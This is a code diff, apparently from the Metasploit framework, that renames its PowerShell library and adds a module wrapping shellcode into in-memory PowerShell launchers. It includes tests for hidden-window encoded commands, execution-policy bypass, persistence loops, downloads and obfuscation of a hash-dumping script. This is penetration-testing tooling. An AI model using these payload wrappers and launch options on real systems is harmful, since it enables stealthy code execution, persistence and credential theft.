our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end

View File

@ -0,0 +1,78 @@
# -*- coding: binary -*-
require 'rex/random_identifier_generator'
module Rex
module Powershell
module Payload
def self.read_replace_script_template(template_path, filename, hash_sub)
template_pathname = File.join(template_path, filename)
template = ''
File.open(template_pathname, "rb") {|f| template = f.read}
template % hash_sub
end
def self.to_win32pe_psh_net(template_path, code)
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_psh(template_path, code)
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
#
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
# Tweaked by shellster
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(template_path, code)
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:func_get_proc_address)
rig.init_var(:func_get_delegate_type)
rig.init_var(:var_code)
rig.init_var(:var_module)
rig.init_var(:var_procedure)
rig.init_var(:var_unsafe_native_methods)
rig.init_var(:var_parameters)
rig.init_var(:var_return_type)
rig.init_var(:var_type_builder)
rig.init_var(:var_buffer)
rig.init_var(:var_hthread)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template(template_path,
"to_mem_pshreflection.ps1.template",
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
end
end
end

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
##
# Convenience methods for generating powershell code in Ruby
@ -76,4 +75,3 @@ module Powershell
end
end
end
end

View File

@ -4,7 +4,6 @@ require 'rex'
require 'forwardable'
module Rex
module Exploitation
module Powershell
class Script
attr_accessor :code
@ -96,4 +95,3 @@ module Powershell
end # class Script
end
end
end

View File

@ -1,5 +1,7 @@
# -*- coding: binary -*-
require 'rex/text'
# A quick way to produce unique random strings that follow the rules of
# identifiers, i.e., begin with a letter and contain only alphanumeric
# characters and underscore.

View File

@ -3,7 +3,7 @@ require 'digest/md5'
require 'digest/sha1'
require 'stringio'
require 'cgi'
require 'rex/exploitation/powershell'
require 'rex/powershell'
%W{ iconv zlib }.each do |libname|
begin
@ -308,7 +308,7 @@ module Text
# Converts a raw string to a powershell byte array
#
def self.to_powershell(str, name = "buf")
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
return Rex::Powershell::Script.to_byte_array(str, name)
end
#

View File

@ -5,7 +5,7 @@ require 'msf/core'
require 'msf/core/exploit/powershell'
def decompress(code)
Rex::Exploitation::Powershell::Script.new(code).decompress_code
Rex::Powershell::Script.new(code).decompress_code
end
describe Msf::Exploit::Powershell do
@ -152,8 +152,6 @@ describe Msf::Exploit::Powershell do
end
describe "::run_hidden_psh" do
let(:encoded) do
false
end

View File

@ -0,0 +1,407 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core'
def decompress(code)
Rex::Powershell::Script.new(code).decompress_code
end
describe Rex::Powershell::Command do
let(:example_script) do
File.join(Msf::Config.data_directory, "exploits", "powershell", "powerdump.ps1")
end
let(:payload) do
Rex::Text.rand_text_alpha(120)
end
let(:arch) do
'x86'
end
describe "::encode_script" do
it 'should read and encode a sample script file' do
script = subject.encode_script(example_script)
script.should be
script.length.should be > 0
end
end
describe "::compress_script" do
context 'with default options' do
it 'should create a compressed script' do
script = File.read(example_script)
compressed = subject.compress_script(script)
compressed.length.should be < script.length
compressed.include?('IO.Compression').should be_truthy
end
it 'should create a compressed script with eof' do
script = File.read(example_script)
compressed = subject.compress_script(script, 'end_of_file')
compressed.include?('end_of_file').should be_truthy
end
end
context 'when strip_comments is true' do
it 'should strip comments' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: true)
compressed.length.should be < script.length
end
end
context 'when strip_comment is false' do
it 'shouldnt strip comments' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: false)
compressed.length.should be < script.length
end
end
context 'when strip_whitespace is true' do
it 'should strip whitespace' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: true)
decompress(compressed).length.should be < script.length
end
end
context 'when strip_whitespace is false' do
it 'shouldnt strip whitespace' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, strip_comments: false, strip_whitespace: false)
expect(decompress(compressed).length).to eq(script.length)
end
end
context 'when sub_vars is true' do
it 'should substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_vars: true)
decompress(compressed).include?('$hashes').should be_falsey
end
end
context 'when sub_vars is false' do
it 'shouldnt substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_vars: false)
decompress(compressed).include?('$hashes').should be_truthy
end
end
context 'when sub_funcs is true' do
it 'should substitute functions' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_funcs: true)
decompress(compressed).include?('DumpHashes').should be_falsey
end
end
context 'when sub_funcs is false' do
it 'shouldnt substitute variables' do
script = File.read(example_script)
compressed = subject.compress_script(script, nil, sub_funcs: false)
decompress(compressed).include?('DumpHashes').should be_truthy
end
end
end
describe "::run_hidden_psh" do
let(:encoded) do
false
end
context 'when x86 payload' do
it 'should generate code' do
code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('syswow64').should be_truthy
end
end
context 'when x64 payload' do
it 'should generate code' do
code = subject.run_hidden_psh(payload, 'x86_64', encoded)
code.include?('sysnative').should be_truthy
end
end
context 'when encoded' do
it 'should generate a code including an encoded command' do
code = subject.run_hidden_psh(payload, arch, true)
code.include?('-nop -w hidden -e ').should be_truthy
end
end
context 'when command' do
it 'should generate code including a -c command' do
code = subject.run_hidden_psh(payload, arch, encoded)
code.include?('-nop -w hidden -c ').should be_truthy
end
end
context 'when old' do
it 'should generate a code including unshorted args' do
code = subject.run_hidden_psh(payload, arch, encoded, method: 'old')
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy
end
end
end
describe "::cmd_psh_payload" do
let(:template_path) do
File.join(Msf::Config.data_directory,
"templates",
"scripts")
end
let(:psh_method) do
'reflection'
end
context 'when payload is huge' do
it 'should raise an exception' do
except = false
begin
code = subject.cmd_psh_payload(Rex::Text.rand_text_alpha(12000), arch, template_path, method: psh_method)
rescue RuntimeError => e
except = true
end
except.should be_truthy
end
end
context 'when persist is true' do
it 'should add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch, template_path, persist: true, method: psh_method)
decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy
end
end
context 'when persist is false' do
it 'shouldnt add a persistance loop' do
code = subject.cmd_psh_payload(payload, arch, template_path, persist: false, method: psh_method)
decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey
end
end
context 'when prepend_sleep is set' do
it 'should prepend sleep' do
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 5, method: psh_method)
decompress(code).include?('Start-Sleep -s ').should be_truthy
end
end
context 'when prepend_sleep isnt set' do
it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: psh_method)
decompress(code).include?('Start-Sleep -s ').should be_falsey
end
end
context 'when prepend_sleep is 0' do
it 'shouldnt prepend sleep' do
code = subject.cmd_psh_payload(payload, arch, template_path, prepend_sleep: 0, method: psh_method)
decompress(code).include?('Start-Sleep -s ').should be_falsey
end
end
context 'when method is old' do
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
decompress(code).include?('-namespace Win32Functions').should be_truthy
end
it 'shouldnt shorten args' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy
end
it 'should include -NoExit' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'old')
code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy
end
end
context 'when method is net' do
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'net')
decompress(code).include?('System.Runtime.InteropServices;').should be_truthy
end
end
context 'when method is reflection' do
it 'should generate a command line' do
code = subject.cmd_psh_payload(payload, arch, template_path, method: 'reflection')
decompress(code).include?('GlobalAssemblyCache').should be_truthy
end
end
context 'when method is msil' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, template_path, method: 'msil')
rescue RuntimeError
except = true
end
except.should be_truthy
end
end
context 'when method is unknown' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, template_path, method: 'blah')
rescue RuntimeError
except = true
end
except.should be_truthy
end
end
context 'when encode_inner_payload' do
it 'should contain an inner payload with -e' do
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, method: psh_method)
code.include?(' -e ').should be_truthy
end
context 'when no_equals is true' do
it 'should raise an exception' do
except = false
begin
code = subject.cmd_psh_payload(payload, arch, template_path, encode_inner_payload: true, no_equals: true, method: psh_method)
rescue RuntimeError
except = true
end
except.should be_truthy
end
end
end
context 'when encode_final_payload' do
context 'when no_equals is false' do
it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: false, method: psh_method)
code.include?(' -e ').should be_truthy
code.include?(' -c ').should be_falsey
end
end
context 'when no_equals is true' do
it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, no_equals: true, method: psh_method)
code.include?(' -e ').should be_truthy
code.include?(' -c ').should be_falsey
code.include?('=').should be_falsey
end
end
context 'when encode_inner_payload is true' do
it 'should raise an exception' do
except = false
begin
subject.cmd_psh_payload(payload, arch, template_path, encode_final_payload: true, encode_inner_payload: true, method: psh_method)
rescue RuntimeError
except = true
end
except.should be_truthy
end
end
end
context 'when remove_comspec' do
it 'shouldnt contain %COMSPEC%' do
code = subject.cmd_psh_payload(payload, arch, template_path, remove_comspec: true, method: psh_method)
code.include?('%COMSPEC%').should be_falsey
end
end
context 'when use single quotes' do
it 'should wrap in single quotes' do
code = subject.cmd_psh_payload(payload, arch, template_path, use_single_quotes: true, method: psh_method)
code.include?(' -c \'').should be_truthy
end
end
end
describe "::generate_psh_command_line" do
it 'should contain no full stop when :no_full_stop' do
opts = {:no_full_stop => true}
command = subject.generate_psh_command_line(opts)
command.include?("powershell ").should be_truthy
end
it 'should contain full stop unless :no_full_stop' do
opts = {}
command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_truthy
opts = {:no_full_stop => false}
command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_truthy
end
it 'should ensure the path should always ends with \\' do
opts = {:path => "test"}
command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_truthy
opts = {:path => "test\\"}
command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_truthy
end
end
describe "::generate_psh_args" do
it 'should return empty string for nil opts' do
subject.generate_psh_args(nil).should eql ""
end
command_args = [[:encodedcommand, "parp"],
[:executionpolicy, "bypass"],
[:inputformat, "xml"],
[:file, "x"],
[:noexit, true],
[:nologo, true],
[:noninteractive, true],
[:mta, true],
[:outputformat, 'xml'],
[:sta, true],
[:noprofile, true],
[:windowstyle, "hidden"],
[:command, "Z"]
]
permutations = (0..command_args.length).to_a.combination(2).map{|i,j| command_args[i...j]}
permutations.each do |perms|
opts = {}
perms.each do |k,v|
opts[k] = v
it "should generate correct arguments for #{opts}" do
opts[:shorten] = true
short_args = subject.generate_psh_args(opts)
opts[:shorten] = false
long_args = subject.generate_psh_args(opts)
opt_length = opts.length - 1
short_args.should_not be_nil
long_args.should_not be_nil
short_args.count('-').should eql opt_length
long_args.count('-').should eql opt_length
short_args[0].should_not eql " "
long_args[0].should_not eql " "
short_args[-1].should_not eql " "
long_args[-1].should_not eql " "
if opts[:command]
long_args[-10..-1].should eql "-Command Z"
short_args[-4..-1].should eql "-c Z"
end
end
end
end
end
end

View File

@ -1,9 +1,9 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::Function do
describe Rex::Powershell::Function do
let(:function_name) do
Rex::Text.rand_text_alpha(15)
@ -59,7 +59,7 @@ describe Rex::Exploitation::Powershell::Function do
describe "::initialize" do
it 'should handle a function without params' do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params)
function = Rex::Powershell::Function.new(function_name, example_function_without_params)
function.name.should eq function_name
function.code.should eq example_function_without_params
function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy
@ -68,7 +68,7 @@ describe Rex::Exploitation::Powershell::Function do
end
it 'should handle a function with params' do
function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params)
function = Rex::Powershell::Function.new(function_name, example_function_with_params)
function.name.should eq function_name
function.code.should eq example_function_with_params
function.to_s.include?("function #{function_name} #{example_function_with_params}").should be_truthy

View File

@ -1,9 +1,9 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::Obfu do
describe Rex::Powershell::Obfu do
let(:example_script_without_literal) do
"""
@ -134,11 +134,11 @@ lots \t of whitespace
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
Rex::Powershell::Script.new(example_script)
end
let(:subject_no_literal) do
Rex::Exploitation::Powershell::Script.new(example_script_without_literal)
Rex::Powershell::Script.new(example_script_without_literal)
end
describe "::strip_comments" do

View File

@ -1,16 +1,16 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::Output do
describe Rex::Powershell::Output do
let(:example_script) do
Rex::Text.rand_text_alpha(400)
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
Rex::Powershell::Script.new(example_script)
end
let(:eof) do

View File

@ -1,9 +1,9 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::Param do
describe Rex::Powershell::Param do
let(:param_name) do
Rex::Text.rand_text_alpha(15)
@ -15,7 +15,7 @@ describe Rex::Exploitation::Powershell::Param do
describe "::initialize" do
it 'should create a param' do
param = Rex::Exploitation::Powershell::Param.new(klass_name, param_name)
param = Rex::Powershell::Param.new(klass_name, param_name)
param.should be
param.name.should eq param_name
param.klass.should eq klass_name

View File

@ -1,9 +1,9 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::Parser do
describe Rex::Powershell::Parser do
let(:example_script) do
"""
@ -58,7 +58,7 @@ function Find-4624Logons
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
Rex::Powershell::Script.new(example_script)
end
describe "::get_var_names" do
@ -142,7 +142,7 @@ function Find-4624Logons
it 'should extract a function from the code' do
function = subject.get_func('Find-4624Logons')
function.should be
function.should be_kind_of Rex::Exploitation::Powershell::Function
function.should be_kind_of Rex::Powershell::Function
end
it 'should return nil if function doesnt exist' do

View File

@ -1,41 +1,41 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::PshMethods do
describe Rex::Powershell::PshMethods do
describe "::download" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.download('a','b')
script = Rex::Powershell::PshMethods.download('a','b')
script.should be
script.include?('WebClient').should be_truthy
end
end
describe "::uninstall" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.uninstall('a')
script = Rex::Powershell::PshMethods.uninstall('a')
script.should be
script.include?('Win32_Product').should be_truthy
end
end
describe "::secure_string" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.secure_string('a')
script = Rex::Powershell::PshMethods.secure_string('a')
script.should be
script.include?('AsPlainText').should be_truthy
end
end
describe "::who_locked_file" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a')
script = Rex::Powershell::PshMethods.who_locked_file('a')
script.should be
script.include?('Get-Process').should be_truthy
end
end
describe "::get_last_login" do
it 'should return some powershell' do
script = Rex::Exploitation::Powershell::PshMethods.get_last_login('a')
script = Rex::Powershell::PshMethods.get_last_login('a')
script.should be
script.include?('Get-QADComputer').should be_truthy
end

View File

@ -1,22 +1,22 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell::Output do
describe Rex::Powershell::Output do
let(:example_script) do
Rex::Text.rand_text_alpha(400)
end
let(:subject) do
Rex::Exploitation::Powershell::Script.new(example_script)
Rex::Powershell::Script.new(example_script)
end
describe "::initialize" do
it 'should create a new script object' do
subject.should be
subject.should be_kind_of Rex::Exploitation::Powershell::Script
subject.should be_kind_of Rex::Powershell::Script
subject.rig.should be
subject.rig.should be_kind_of Rex::RandomIdentifierGenerator
subject.code.should be
@ -28,7 +28,7 @@ describe Rex::Exploitation::Powershell::Output do
describe "::to_byte_array" do
it 'should generate a powershell byte array' do
byte_array = Rex::Exploitation::Powershell::Script.to_byte_array("parp")
byte_array = Rex::Powershell::Script.to_byte_array("parp")
byte_array.should be
byte_array.should be_kind_of String
byte_array.include?('[Byte[]] $').should be_truthy
@ -37,7 +37,7 @@ describe Rex::Exploitation::Powershell::Output do
describe "::code_modifiers" do
it 'should return an array of modifier methods' do
mods = Rex::Exploitation::Powershell::Script.code_modifiers
mods = Rex::Powershell::Script.code_modifiers
mods.should be
mods.should be_kind_of Array
mods.empty?.should be_falsey

View File

@ -1,9 +1,9 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/exploitation/powershell'
require 'rex/powershell'
describe Rex::Exploitation::Powershell do
describe Rex::Powershell do
let(:example_script) do
"""function DumpHashes
@ -24,7 +24,7 @@ DumpHashes"""
describe "::read_script" do
it 'should create a script from a string input' do
script = described_class.read_script(example_script)
script.should be_a_kind_of Rex::Exploitation::Powershell::Script
script.should be_a_kind_of Rex::Powershell::Script
end
end